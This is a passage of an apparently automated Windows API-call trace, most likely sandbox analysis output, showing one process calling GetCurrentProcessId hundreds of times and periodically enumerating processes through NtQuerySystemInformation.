GetCurrentProcessId () returned 0xbf4 [0278.556] GetCurrentProcessId () returned 0xbf4 [0278.556] GetCurrentProcessId () returned 0xbf4 [0278.556] GetCurrentProcessId () returned 0xbf4 [0278.556] GetCurrentProcessId () returned 0xbf4 [0278.556] GetCurrentProcessId () returned 0xbf4 [0278.556] GetCurrentProcessId () returned 0xbf4 [0278.556] GetCurrentProcessId () returned 0xbf4 [0278.556] GetCurrentProcessId () returned 0xbf4 [0278.556] GetCurrentProcessId () returned 0xbf4 [0278.556] GetCurrentProcessId () returned 0xbf4 [0278.556] GetCurrentProcessId () returned 0xbf4 [0278.556] GetCurrentProcessId () returned 0xbf4 [0278.556] GetCurrentProcessId () returned 0xbf4 [0278.556] GetCurrentProcessId () returned 0xbf4 [0278.556] GetCurrentProcessId () returned 0xbf4 [0278.556] GetCurrentProcessId () returned 0xbf4 [0278.556] GetCurrentProcessId () returned 0xbf4 [0278.556] GetCurrentProcessId () returned 0xbf4 [0278.556] GetCurrentProcessId () returned 0xbf4 [0278.556] GetCurrentProcessId () returned 0xbf4 [0278.557] GetCurrentProcessId () returned 0xbf4 [0278.557] GetCurrentProcessId () returned 0xbf4 [0278.557] GetCurrentProcessId () returned 0xbf4 [0278.557] GetCurrentProcessId () returned 0xbf4 [0278.557] GetCurrentProcessId () returned 0xbf4 [0278.557] GetCurrentProcessId () returned 0xbf4 [0279.124] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x1289b270, ResultLength=0x1b7bebb0*=0x1c750) returned 0x0 [0279.126] GetCurrentProcessId () returned 0xbf4 [0279.126] GetCurrentProcessId () returned 0xbf4 [0279.127] GetCurrentProcessId () returned 0xbf4 [0279.127] GetCurrentProcessId () returned 0xbf4 [0279.127] GetCurrentProcessId () returned 0xbf4 [0279.127] GetCurrentProcessId () returned 0xbf4 [0279.127] GetCurrentProcessId () returned 0xbf4 [0279.127] GetCurrentProcessId () returned 0xbf4 [0279.127] GetCurrentProcessId () returned 0xbf4 [0279.127] GetCurrentProcessId () returned 0xbf4 [0279.127] GetCurrentProcessId () returned 0xbf4 [0279.127] GetCurrentProcessId () returned 0xbf4 [0279.127] GetCurrentProcessId () returned 0xbf4 [0279.127] GetCurrentProcessId () returned 0xbf4 [0279.127] GetCurrentProcessId () returned 0xbf4 [0279.127] GetCurrentProcessId () returned 0xbf4 [0279.127] GetCurrentProcessId () returned 0xbf4 [0279.127] GetCurrentProcessId () returned 0xbf4 [0279.127] GetCurrentProcessId () returned 0xbf4 [0279.127] GetCurrentProcessId () returned 0xbf4 [0279.127] GetCurrentProcessId () returned 0xbf4 [0279.127] GetCurrentProcessId () returned 0xbf4 [0279.127] GetCurrentProcessId () returned 0xbf4 [0279.127] GetCurrentProcessId () returned 0xbf4 [0279.127] GetCurrentProcessId () returned 0xbf4 [0279.127] GetCurrentProcessId () returned 0xbf4 [0279.127] GetCurrentProcessId () returned 0xbf4 [0279.127] GetCurrentProcessId () returned 0xbf4 [0279.127] GetCurrentProcessId () returned 0xbf4 [0279.127] GetCurrentProcessId () returned 0xbf4 [0279.127] GetCurrentProcessId () returned 0xbf4 [0279.127] GetCurrentProcessId () returned 0xbf4 [0279.128] GetCurrentProcessId () returned 0xbf4 [0279.128] GetCurrentProcessId () returned 0xbf4 [0279.128] GetCurrentProcessId () returned 0xbf4 [0279.128] GetCurrentProcessId () returned 0xbf4 [0279.128] GetCurrentProcessId () returned 0xbf4 [0279.128] GetCurrentProcessId () returned 0xbf4 [0279.128] GetCurrentProcessId () returned 0xbf4 [0279.128] GetCurrentProcessId () returned 0xbf4 [0279.128] GetCurrentProcessId () returned 0xbf4 [0279.128] GetCurrentProcessId () returned 0xbf4 [0279.128] GetCurrentProcessId () returned 0xbf4 [0279.128] GetCurrentProcessId () returned 0xbf4 [0279.128] GetCurrentProcessId () returned 0xbf4 [0279.128] GetCurrentProcessId () returned 0xbf4 [0279.128] GetCurrentProcessId () returned 0xbf4 [0279.128] GetCurrentProcessId () returned 0xbf4 [0279.128] GetCurrentProcessId () returned 0xbf4 [0279.128] GetCurrentProcessId () returned 0xbf4 [0279.128] GetCurrentProcessId () returned 0xbf4 [0279.128] GetCurrentProcessId () returned 0xbf4 [0279.128] GetCurrentProcessId () returned 0xbf4 [0279.128] GetCurrentProcessId () returned 0xbf4 [0279.128] GetCurrentProcessId () returned 0xbf4 [0279.128] GetCurrentProcessId () returned 0xbf4 [0279.128] GetCurrentProcessId () returned 0xbf4 [0279.128] GetCurrentProcessId () returned 0xbf4 [0279.128] GetCurrentProcessId () returned 0xbf4 [0279.128] GetCurrentProcessId () returned 0xbf4 [0279.128] GetCurrentProcessId () returned 0xbf4 [0279.128] GetCurrentProcessId () returned 0xbf4 [0279.129] GetCurrentProcessId () returned 0xbf4 [0279.129] GetCurrentProcessId () returned 0xbf4 [0279.129] GetCurrentProcessId () returned 0xbf4 [0279.129] GetCurrentProcessId () returned 0xbf4 [0279.129] GetCurrentProcessId () returned 0xbf4 [0279.129] GetCurrentProcessId () returned 0xbf4 [0279.130] GetCurrentProcessId () returned 0xbf4 [0279.130] GetCurrentProcessId () returned 0xbf4 [0279.130] GetCurrentProcessId () returned 0xbf4 [0279.130] GetCurrentProcessId () returned 0xbf4 [0279.130] GetCurrentProcessId () returned 0xbf4 [0279.130] GetCurrentProcessId () returned 0xbf4 [0279.130] GetCurrentProcessId () returned 0xbf4 [0279.130] GetCurrentProcessId () returned 0xbf4 [0279.130] GetCurrentProcessId () returned 0xbf4 [0279.130] GetCurrentProcessId () returned 0xbf4 [0279.130] GetCurrentProcessId () returned 0xbf4 [0279.130] GetCurrentProcessId () returned 0xbf4 [0279.130] GetCurrentProcessId () returned 0xbf4 [0279.130] GetCurrentProcessId () returned 0xbf4 [0279.130] GetCurrentProcessId () returned 0xbf4 [0279.130] GetCurrentProcessId () returned 0xbf4 [0279.130] GetCurrentProcessId () returned 0xbf4 [0279.130] GetCurrentProcessId () returned 0xbf4 [0279.130] GetCurrentProcessId () returned 0xbf4 [0279.130] GetCurrentProcessId () returned 0xbf4 [0279.130] GetCurrentProcessId () returned 0xbf4 [0279.130] GetCurrentProcessId () returned 0xbf4 [0279.130] GetCurrentProcessId () returned 0xbf4 [0279.130] GetCurrentProcessId () returned 0xbf4 [0279.130] GetCurrentProcessId () returned 0xbf4 [0279.130] GetCurrentProcessId () returned 0xbf4 [0279.130] GetCurrentProcessId () returned 0xbf4 [0279.131] GetCurrentProcessId () returned 0xbf4 [0279.131] GetCurrentProcessId () returned 0xbf4 [0279.131] GetCurrentProcessId () returned 0xbf4 [0279.131] GetCurrentProcessId () returned 0xbf4 [0279.131] GetCurrentProcessId () returned 0xbf4 [0279.131] GetCurrentProcessId () returned 0xbf4 [0279.131] GetCurrentProcessId () returned 0xbf4 [0279.131] GetCurrentProcessId () returned 0xbf4 [0279.131] GetCurrentProcessId () returned 0xbf4 [0279.131] GetCurrentProcessId () returned 0xbf4 [0279.131] GetCurrentProcessId () returned 0xbf4 [0279.661] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x1289b270, ResultLength=0x1b7bebb0*=0x1c750) returned 0x0 [0279.685] GetCurrentProcessId () returned 0xbf4 [0279.685] GetCurrentProcessId () returned 0xbf4 [0279.685] GetCurrentProcessId () returned 0xbf4 [0279.685] GetCurrentProcessId () returned 0xbf4 [0279.685] GetCurrentProcessId () returned 0xbf4 [0279.685] GetCurrentProcessId () returned 0xbf4 [0279.685] GetCurrentProcessId () returned 0xbf4 [0279.685] GetCurrentProcessId () returned 0xbf4 [0279.685] GetCurrentProcessId () returned 0xbf4 [0279.685] GetCurrentProcessId () returned 0xbf4 [0279.685] GetCurrentProcessId () returned 0xbf4 [0279.685] GetCurrentProcessId () returned 0xbf4 [0279.685] GetCurrentProcessId () returned 0xbf4 [0279.685] GetCurrentProcessId () returned 0xbf4 [0279.685] GetCurrentProcessId () returned 0xbf4 [0279.685] GetCurrentProcessId () returned 0xbf4 [0279.686] GetCurrentProcessId () returned 0xbf4 [0279.686] GetCurrentProcessId () returned 0xbf4 [0279.686] GetCurrentProcessId () returned 0xbf4 [0279.686] GetCurrentProcessId () returned 0xbf4 [0279.686] GetCurrentProcessId () returned 0xbf4 [0279.686] GetCurrentProcessId () returned 0xbf4 [0279.686] GetCurrentProcessId () returned 0xbf4 [0279.686] GetCurrentProcessId () returned 0xbf4 [0279.686] GetCurrentProcessId () returned 0xbf4 [0279.686] GetCurrentProcessId () returned 0xbf4 [0279.686] GetCurrentProcessId () returned 0xbf4 [0279.686] GetCurrentProcessId () returned 0xbf4 [0279.686] GetCurrentProcessId () returned 0xbf4 [0279.686] GetCurrentProcessId () returned 0xbf4 [0279.686] GetCurrentProcessId () returned 0xbf4 [0279.686] GetCurrentProcessId () returned 0xbf4 [0279.686] GetCurrentProcessId () returned 0xbf4 [0279.686] GetCurrentProcessId () returned 0xbf4 [0279.686] GetCurrentProcessId () returned 0xbf4 [0279.686] GetCurrentProcessId () returned 0xbf4 [0279.687] GetCurrentProcessId () returned 0xbf4 [0279.687] GetCurrentProcessId () returned 0xbf4 [0279.687] GetCurrentProcessId () returned 0xbf4 [0279.687] GetCurrentProcessId () returned 0xbf4 [0279.687] GetCurrentProcessId () returned 0xbf4 [0279.687] GetCurrentProcessId () returned 0xbf4 [0279.687] GetCurrentProcessId () returned 0xbf4 [0279.687] GetCurrentProcessId () returned 0xbf4 [0279.687] GetCurrentProcessId () returned 0xbf4 [0279.687] GetCurrentProcessId () returned 0xbf4 [0279.687] GetCurrentProcessId () returned 0xbf4 [0279.687] GetCurrentProcessId () returned 0xbf4 [0279.687] GetCurrentProcessId () returned 0xbf4 [0279.687] GetCurrentProcessId () returned 0xbf4 [0279.687] GetCurrentProcessId () returned 0xbf4 [0279.687] GetCurrentProcessId () returned 0xbf4 [0279.687] GetCurrentProcessId () returned 0xbf4 [0279.687] GetCurrentProcessId () returned 0xbf4 [0279.687] GetCurrentProcessId () returned 0xbf4 [0279.687] GetCurrentProcessId () returned 0xbf4 [0279.687] GetCurrentProcessId () returned 0xbf4 [0279.688] GetCurrentProcessId () returned 0xbf4 [0279.688] GetCurrentProcessId () returned 0xbf4 [0279.688] GetCurrentProcessId () returned 0xbf4 [0279.688] GetCurrentProcessId () returned 0xbf4 [0279.688] GetCurrentProcessId () returned 0xbf4 [0279.688] GetCurrentProcessId () returned 0xbf4 [0279.688] GetCurrentProcessId () returned 0xbf4 [0279.688] GetCurrentProcessId () returned 0xbf4 [0279.688] GetCurrentProcessId () returned 0xbf4 [0279.688] GetCurrentProcessId () returned 0xbf4 [0279.688] GetCurrentProcessId () returned 0xbf4 [0279.688] GetCurrentProcessId () returned 0xbf4 [0279.688] GetCurrentProcessId () returned 0xbf4 [0279.688] GetCurrentProcessId () returned 0xbf4 [0279.688] GetCurrentProcessId () returned 0xbf4 [0279.688] GetCurrentProcessId () returned 0xbf4 [0279.688] GetCurrentProcessId () returned 0xbf4 [0279.688] GetCurrentProcessId () returned 0xbf4 [0279.688] GetCurrentProcessId () returned 0xbf4 [0279.688] GetCurrentProcessId () returned 0xbf4 [0279.689] GetCurrentProcessId () returned 0xbf4 [0279.689] GetCurrentProcessId () returned 0xbf4 [0279.689] GetCurrentProcessId () returned 0xbf4 [0279.689] GetCurrentProcessId () returned 0xbf4 [0279.689] GetCurrentProcessId () returned 0xbf4 [0279.689] GetCurrentProcessId () returned 0xbf4 [0279.689] GetCurrentProcessId () returned 0xbf4 [0279.689] GetCurrentProcessId () returned 0xbf4 [0279.689] GetCurrentProcessId () returned 0xbf4 [0279.689] GetCurrentProcessId () returned 0xbf4 [0279.689] GetCurrentProcessId () returned 0xbf4 [0279.689] GetCurrentProcessId () returned 0xbf4 [0279.689] GetCurrentProcessId () returned 0xbf4 [0279.689] GetCurrentProcessId () returned 0xbf4 [0279.689] GetCurrentProcessId () returned 0xbf4 [0279.689] GetCurrentProcessId () returned 0xbf4 [0279.689] GetCurrentProcessId () returned 0xbf4 [0279.689] GetCurrentProcessId () returned 0xbf4 [0279.689] GetCurrentProcessId () returned 0xbf4 [0279.689] GetCurrentProcessId () returned 0xbf4 [0279.689] GetCurrentProcessId () returned 0xbf4 [0279.689] GetCurrentProcessId () returned 0xbf4 [0279.689] GetCurrentProcessId () returned 0xbf4 [0279.689] GetCurrentProcessId () returned 0xbf4 [0279.689] GetCurrentProcessId () returned 0xbf4 [0279.690] GetCurrentProcessId () returned 0xbf4 [0279.690] GetCurrentProcessId () returned 0xbf4 [0279.690] GetCurrentProcessId () returned 0xbf4 [0279.690] GetCurrentProcessId () returned 0xbf4 [0280.348] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x1289b270, ResultLength=0x1b7bebb0*=0x1c750) returned 0x0 [0280.359] GetCurrentProcessId () returned 0xbf4 [0280.359] GetCurrentProcessId () returned 0xbf4 [0280.359] GetCurrentProcessId () returned 0xbf4 [0280.359] GetCurrentProcessId () returned 0xbf4 [0280.359] GetCurrentProcessId () returned 0xbf4 [0280.359] GetCurrentProcessId () returned 0xbf4 [0280.359] GetCurrentProcessId () returned 0xbf4 [0280.359] GetCurrentProcessId () returned 0xbf4 [0280.360] GetCurrentProcessId () returned 0xbf4 [0280.360] GetCurrentProcessId () returned 0xbf4 [0280.360] GetCurrentProcessId () returned 0xbf4 [0280.360] GetCurrentProcessId () returned 0xbf4 [0280.360] GetCurrentProcessId () returned 0xbf4 [0280.360] GetCurrentProcessId () returned 0xbf4 [0280.360] GetCurrentProcessId () returned 0xbf4 [0280.360] GetCurrentProcessId () returned 0xbf4 [0280.360] GetCurrentProcessId () returned 0xbf4 [0280.360] GetCurrentProcessId () returned 0xbf4 [0280.360] GetCurrentProcessId () returned 0xbf4 [0280.360] GetCurrentProcessId () returned 0xbf4 [0280.360] GetCurrentProcessId () returned 0xbf4 [0280.360] GetCurrentProcessId () returned 0xbf4 [0280.360] GetCurrentProcessId () returned 0xbf4 [0280.360] GetCurrentProcessId () returned 0xbf4 [0280.360] GetCurrentProcessId () returned 0xbf4 [0280.360] GetCurrentProcessId () returned 0xbf4 [0280.360] GetCurrentProcessId () returned 0xbf4 [0280.360] GetCurrentProcessId () returned 0xbf4 [0280.360] GetCurrentProcessId () returned 0xbf4 [0280.360] GetCurrentProcessId () returned 0xbf4 [0280.360] GetCurrentProcessId () returned 0xbf4 [0280.360] GetCurrentProcessId () returned 0xbf4 [0280.360] GetCurrentProcessId () returned 0xbf4 [0280.360] GetCurrentProcessId () returned 0xbf4 [0280.360] GetCurrentProcessId () returned 0xbf4 [0280.360] GetCurrentProcessId () returned 0xbf4 [0280.360] GetCurrentProcessId () returned 0xbf4 [0280.360] GetCurrentProcessId () returned 0xbf4 [0280.360] GetCurrentProcessId () returned 0xbf4 [0280.361] GetCurrentProcessId () returned 0xbf4 [0280.361] GetCurrentProcessId () returned 0xbf4 [0280.361] GetCurrentProcessId () returned 0xbf4 [0280.361] GetCurrentProcessId () returned 0xbf4 [0280.361] GetCurrentProcessId () returned 0xbf4 [0280.361] GetCurrentProcessId () returned 0xbf4 [0280.361] GetCurrentProcessId () returned 0xbf4 [0280.361] GetCurrentProcessId () returned 0xbf4 [0280.361] GetCurrentProcessId () returned 0xbf4 [0280.361] GetCurrentProcessId () returned 0xbf4 [0280.361] GetCurrentProcessId () returned 0xbf4 [0280.361] GetCurrentProcessId () returned 0xbf4 [0280.361] GetCurrentProcessId () returned 0xbf4 [0280.361] GetCurrentProcessId () returned 0xbf4 [0280.361] GetCurrentProcessId () returned 0xbf4 [0280.361] GetCurrentProcessId () returned 0xbf4 [0280.361] GetCurrentProcessId () returned 0xbf4 [0280.361] GetCurrentProcessId () returned 0xbf4 [0280.361] GetCurrentProcessId () returned 0xbf4 [0280.361] GetCurrentProcessId () returned 0xbf4 [0280.361] GetCurrentProcessId () returned 0xbf4 [0280.361] GetCurrentProcessId () returned 0xbf4 [0280.361] GetCurrentProcessId () returned 0xbf4 [0280.361] GetCurrentProcessId () returned 0xbf4 [0280.361] GetCurrentProcessId () returned 0xbf4 [0280.361] GetCurrentProcessId () returned 0xbf4 [0280.361] GetCurrentProcessId () returned 0xbf4 [0280.361] GetCurrentProcessId () returned 0xbf4 [0280.361] GetCurrentProcessId () returned 0xbf4 [0280.361] GetCurrentProcessId () returned 0xbf4 [0280.361] GetCurrentProcessId () returned 0xbf4 [0280.361] GetCurrentProcessId () returned 0xbf4 [0280.361] GetCurrentProcessId () returned 0xbf4 [0280.362] GetCurrentProcessId () returned 0xbf4 [0280.362] GetCurrentProcessId () returned 0xbf4 [0280.362] GetCurrentProcessId () returned 0xbf4 [0280.362] GetCurrentProcessId () returned 0xbf4 [0280.362] GetCurrentProcessId () returned 0xbf4 [0280.362] GetCurrentProcessId () returned 0xbf4 [0280.362] GetCurrentProcessId () returned 0xbf4 [0280.362] GetCurrentProcessId () returned 0xbf4 [0280.362] GetCurrentProcessId () returned 0xbf4 [0280.362] GetCurrentProcessId () returned 0xbf4 [0280.362] GetCurrentProcessId () returned 0xbf4 [0280.362] GetCurrentProcessId () returned 0xbf4 [0280.362] GetCurrentProcessId () returned 0xbf4 [0280.362] GetCurrentProcessId () returned 0xbf4 [0280.362] GetCurrentProcessId () returned 0xbf4 [0280.362] GetCurrentProcessId () returned 0xbf4 [0280.362] GetCurrentProcessId () returned 0xbf4 [0280.362] GetCurrentProcessId () returned 0xbf4 [0280.362] GetCurrentProcessId () returned 0xbf4 [0280.362] GetCurrentProcessId () returned 0xbf4 [0280.362] GetCurrentProcessId () returned 0xbf4 [0280.362] GetCurrentProcessId () returned 0xbf4 [0280.362] GetCurrentProcessId () returned 0xbf4 [0280.362] GetCurrentProcessId () returned 0xbf4 [0280.362] GetCurrentProcessId () returned 0xbf4 [0280.362] GetCurrentProcessId () returned 0xbf4 [0280.362] GetCurrentProcessId () returned 0xbf4 [0280.362] GetCurrentProcessId () returned 0xbf4 [0280.362] GetCurrentProcessId () returned 0xbf4 [0280.362] GetCurrentProcessId () returned 0xbf4 [0280.362] GetCurrentProcessId () returned 0xbf4 [0280.362] GetCurrentProcessId () returned 0xbf4 [0280.362] GetCurrentProcessId () returned 0xbf4 [0280.363] GetCurrentProcessId () returned 0xbf4 [0280.895] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x1289b270, ResultLength=0x1b7bebb0*=0x1c750) returned 0x0 [0280.904] GetCurrentProcessId () returned 0xbf4 [0280.904] GetCurrentProcessId () returned 0xbf4 [0280.904] GetCurrentProcessId () returned 0xbf4 [0280.904] GetCurrentProcessId () returned 0xbf4 [0280.904] GetCurrentProcessId () returned 0xbf4 [0280.904] GetCurrentProcessId () returned 0xbf4 [0280.904] GetCurrentProcessId () returned 0xbf4 [0280.904] GetCurrentProcessId () returned 0xbf4 [0280.904] GetCurrentProcessId () returned 0xbf4 [0280.904] GetCurrentProcessId () returned 0xbf4 [0280.904] GetCurrentProcessId () returned 0xbf4 [0280.904] GetCurrentProcessId () returned 0xbf4 [0280.905] GetCurrentProcessId () returned 0xbf4 [0280.905] GetCurrentProcessId () returned 0xbf4 [0280.905] GetCurrentProcessId () returned 0xbf4 [0280.905] GetCurrentProcessId () returned 0xbf4 [0280.905] GetCurrentProcessId () returned 0xbf4 [0280.905] GetCurrentProcessId () returned 0xbf4 [0280.905] GetCurrentProcessId () returned 0xbf4 [0280.905] GetCurrentProcessId () returned 0xbf4 [0280.905] GetCurrentProcessId () returned 0xbf4 [0280.905] GetCurrentProcessId () returned 0xbf4 [0280.905] GetCurrentProcessId () returned 0xbf4 [0280.905] GetCurrentProcessId () returned 0xbf4 [0280.905] GetCurrentProcessId () returned 0xbf4 [0280.905] GetCurrentProcessId () returned 0xbf4 [0280.905] GetCurrentProcessId () returned 0xbf4 [0280.905] GetCurrentProcessId () returned 0xbf4 [0280.905] GetCurrentProcessId () returned 0xbf4 [0280.905] GetCurrentProcessId () returned 0xbf4 [0280.905] GetCurrentProcessId () returned 0xbf4 [0280.905] GetCurrentProcessId () returned 0xbf4 [0280.905] GetCurrentProcessId () returned 0xbf4 [0280.905] GetCurrentProcessId () returned 0xbf4 [0280.905] GetCurrentProcessId () returned 0xbf4 [0280.905] GetCurrentProcessId () returned 0xbf4 [0280.905] GetCurrentProcessId () returned 0xbf4 [0280.905] GetCurrentProcessId () returned 0xbf4 [0280.905] GetCurrentProcessId () returned 0xbf4 [0280.905] GetCurrentProcessId () returned 0xbf4 [0280.905] GetCurrentProcessId () returned 0xbf4 [0280.905] GetCurrentProcessId () returned 0xbf4 [0280.905] GetCurrentProcessId () returned 0xbf4 [0280.905] GetCurrentProcessId () returned 0xbf4 [0280.905] GetCurrentProcessId () returned 0xbf4 [0280.906] GetCurrentProcessId () returned 0xbf4 [0280.906] GetCurrentProcessId () returned 0xbf4 [0280.906] GetCurrentProcessId () returned 0xbf4 [0280.906] GetCurrentProcessId () returned 0xbf4 [0280.906] GetCurrentProcessId () returned 0xbf4 [0280.906] GetCurrentProcessId () returned 0xbf4 [0280.906] GetCurrentProcessId () returned 0xbf4 [0280.906] GetCurrentProcessId () returned 0xbf4 [0280.906] GetCurrentProcessId () returned 0xbf4 [0280.906] GetCurrentProcessId () returned 0xbf4 [0280.906] GetCurrentProcessId () returned 0xbf4 [0280.906] GetCurrentProcessId () returned 0xbf4 [0280.906] GetCurrentProcessId () returned 0xbf4 [0280.906] GetCurrentProcessId () returned 0xbf4 [0280.906] GetCurrentProcessId () returned 0xbf4 [0280.906] GetCurrentProcessId () returned 0xbf4 [0280.906] GetCurrentProcessId () returned 0xbf4 [0280.906] GetCurrentProcessId () returned 0xbf4 [0280.906] GetCurrentProcessId () returned 0xbf4 [0280.906] GetCurrentProcessId () returned 0xbf4 [0280.906] GetCurrentProcessId () returned 0xbf4 [0280.907] GetCurrentProcessId () returned 0xbf4 [0280.907] GetCurrentProcessId () returned 0xbf4 [0280.907] GetCurrentProcessId () returned 0xbf4 [0280.907] GetCurrentProcessId () returned 0xbf4 [0280.907] GetCurrentProcessId () returned 0xbf4 [0280.907] GetCurrentProcessId () returned 0xbf4 [0280.907] GetCurrentProcessId () returned 0xbf4 [0280.907] GetCurrentProcessId () returned 0xbf4 [0280.907] GetCurrentProcessId () returned 0xbf4 [0280.907] GetCurrentProcessId () returned 0xbf4 [0280.907] GetCurrentProcessId () returned 0xbf4 [0280.907] GetCurrentProcessId () returned 0xbf4 [0280.907] GetCurrentProcessId () returned 0xbf4 [0280.907] GetCurrentProcessId () returned 0xbf4 [0280.907] GetCurrentProcessId () returned 0xbf4 [0280.907] GetCurrentProcessId () returned 0xbf4 [0280.907] GetCurrentProcessId () returned 0xbf4 [0280.907] GetCurrentProcessId () returned 0xbf4 [0280.908] GetCurrentProcessId () returned 0xbf4 [0280.908] GetCurrentProcessId () returned 0xbf4 [0280.908] GetCurrentProcessId () returned 0xbf4 [0280.908] GetCurrentProcessId () returned 0xbf4 [0280.908] GetCurrentProcessId () returned 0xbf4 [0280.908] GetCurrentProcessId () returned 0xbf4 [0280.908] GetCurrentProcessId () returned 0xbf4 [0280.908] GetCurrentProcessId () returned 0xbf4 [0280.908] GetCurrentProcessId () returned 0xbf4 [0280.908] GetCurrentProcessId () returned 0xbf4 [0280.908] GetCurrentProcessId () returned 0xbf4 [0280.908] GetCurrentProcessId () returned 0xbf4 [0280.908] GetCurrentProcessId () returned 0xbf4 [0280.908] GetCurrentProcessId () returned 0xbf4 [0280.908] GetCurrentProcessId () returned 0xbf4 [0280.908] GetCurrentProcessId () returned 0xbf4 [0280.908] GetCurrentProcessId () returned 0xbf4 [0280.908] GetCurrentProcessId () returned 0xbf4 [0280.908] GetCurrentProcessId () returned 0xbf4 [0280.908] GetCurrentProcessId () returned 0xbf4 [0280.908] GetCurrentProcessId () returned 0xbf4 [0280.908] GetCurrentProcessId () returned 0xbf4 [0281.426] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x1289b270, ResultLength=0x1b7bebb0*=0x1c750) returned 0x0 [0281.435] GetCurrentProcessId () returned 0xbf4 [0281.435] GetCurrentProcessId () returned 0xbf4 [0281.435] GetCurrentProcessId () returned 0xbf4 [0281.435] GetCurrentProcessId () returned 0xbf4 [0281.435] GetCurrentProcessId () returned 0xbf4 [0281.435] GetCurrentProcessId () returned 0xbf4 [0281.435] GetCurrentProcessId () returned 0xbf4 [0281.435] GetCurrentProcessId () returned 0xbf4 [0281.435] GetCurrentProcessId () returned 0xbf4 [0281.436] GetCurrentProcessId () returned 0xbf4 [0281.436] GetCurrentProcessId () returned 0xbf4 [0281.436] GetCurrentProcessId () returned 0xbf4 [0281.436] GetCurrentProcessId () returned 0xbf4 [0281.436] GetCurrentProcessId () returned 0xbf4 [0281.436] GetCurrentProcessId () returned 0xbf4 [0281.436] GetCurrentProcessId () returned 0xbf4 [0281.436] GetCurrentProcessId () returned 0xbf4 [0281.436] GetCurrentProcessId () returned 0xbf4 [0281.436] GetCurrentProcessId () returned 0xbf4 [0281.436] GetCurrentProcessId () returned 0xbf4 [0281.436] GetCurrentProcessId () returned 0xbf4 [0281.436] GetCurrentProcessId () returned 0xbf4 [0281.436] GetCurrentProcessId () returned 0xbf4 [0281.436] GetCurrentProcessId () returned 0xbf4 [0281.436] GetCurrentProcessId () returned 0xbf4 [0281.436] GetCurrentProcessId () returned 0xbf4 [0281.436] GetCurrentProcessId () returned 0xbf4 [0281.436] GetCurrentProcessId () returned 0xbf4 [0281.436] GetCurrentProcessId () returned 0xbf4 [0281.436] GetCurrentProcessId () returned 0xbf4 [0281.436] GetCurrentProcessId () returned 0xbf4 [0281.436] GetCurrentProcessId () returned 0xbf4 [0281.436] GetCurrentProcessId () returned 0xbf4 [0281.436] GetCurrentProcessId () returned 0xbf4 [0281.436] GetCurrentProcessId () returned 0xbf4 [0281.436] GetCurrentProcessId () returned 0xbf4 [0281.436] GetCurrentProcessId () returned 0xbf4 [0281.436] GetCurrentProcessId () returned 0xbf4 [0281.436] GetCurrentProcessId () returned 0xbf4 [0281.436] GetCurrentProcessId () returned 0xbf4 [0281.436] GetCurrentProcessId () returned 0xbf4 [0281.437] GetCurrentProcessId () returned 0xbf4 [0281.437] GetCurrentProcessId () returned 0xbf4 [0281.437] GetCurrentProcessId () returned 0xbf4 [0281.437] GetCurrentProcessId () returned 0xbf4 [0281.437] GetCurrentProcessId () returned 0xbf4 [0281.437] GetCurrentProcessId () returned 0xbf4 [0281.437] GetCurrentProcessId () returned 0xbf4 [0281.437] GetCurrentProcessId () returned 0xbf4 [0281.437] GetCurrentProcessId () returned 0xbf4 [0281.437] GetCurrentProcessId () returned 0xbf4 [0281.437] GetCurrentProcessId () returned 0xbf4 [0281.437] GetCurrentProcessId () returned 0xbf4 [0281.437] GetCurrentProcessId () returned 0xbf4 [0281.437] GetCurrentProcessId () returned 0xbf4 [0281.437] GetCurrentProcessId () returned 0xbf4 [0281.437] GetCurrentProcessId () returned 0xbf4 [0281.437] GetCurrentProcessId () returned 0xbf4 [0281.437] GetCurrentProcessId () returned 0xbf4 [0281.437] GetCurrentProcessId () returned 0xbf4 [0281.437] GetCurrentProcessId () returned 0xbf4 [0281.437] GetCurrentProcessId () returned 0xbf4 [0281.437] GetCurrentProcessId () returned 0xbf4 [0281.437] GetCurrentProcessId () returned 0xbf4 [0281.437] GetCurrentProcessId () returned 0xbf4 [0281.437] GetCurrentProcessId () returned 0xbf4 [0281.437] GetCurrentProcessId () returned 0xbf4 [0281.437] GetCurrentProcessId () returned 0xbf4 [0281.437] GetCurrentProcessId () returned 0xbf4 [0281.437] GetCurrentProcessId () returned 0xbf4 [0281.437] GetCurrentProcessId () returned 0xbf4 [0281.437] GetCurrentProcessId () returned 0xbf4 [0281.437] GetCurrentProcessId () returned 0xbf4 [0281.437] GetCurrentProcessId () returned 0xbf4 [0281.437] GetCurrentProcessId () returned 0xbf4 [0281.438] GetCurrentProcessId () returned 0xbf4 [0281.438] GetCurrentProcessId () returned 0xbf4 [0281.438] GetCurrentProcessId () returned 0xbf4 [0281.438] GetCurrentProcessId () returned 0xbf4 [0281.438] GetCurrentProcessId () returned 0xbf4 [0281.438] GetCurrentProcessId () returned 0xbf4 [0281.438] GetCurrentProcessId () returned 0xbf4 [0281.438] GetCurrentProcessId () returned 0xbf4 [0281.438] GetCurrentProcessId () returned 0xbf4 [0281.438] GetCurrentProcessId () returned 0xbf4 [0281.438] GetCurrentProcessId () returned 0xbf4 [0281.438] GetCurrentProcessId () returned 0xbf4 [0281.438] GetCurrentProcessId () returned 0xbf4 [0281.438] GetCurrentProcessId () returned 0xbf4 [0281.438] GetCurrentProcessId () returned 0xbf4 [0281.438] GetCurrentProcessId () returned 0xbf4 [0281.438] GetCurrentProcessId () returned 0xbf4 [0281.438] GetCurrentProcessId () returned 0xbf4 [0281.438] GetCurrentProcessId () returned 0xbf4 [0281.438] GetCurrentProcessId () returned 0xbf4 [0281.438] GetCurrentProcessId () returned 0xbf4 [0281.438] GetCurrentProcessId () returned 0xbf4 [0281.438] GetCurrentProcessId () returned 0xbf4 [0281.438] GetCurrentProcessId () returned 0xbf4 [0281.438] GetCurrentProcessId () returned 0xbf4 [0281.438] GetCurrentProcessId () returned 0xbf4 [0281.438] GetCurrentProcessId () returned 0xbf4 [0281.438] GetCurrentProcessId () returned 0xbf4 [0281.438] 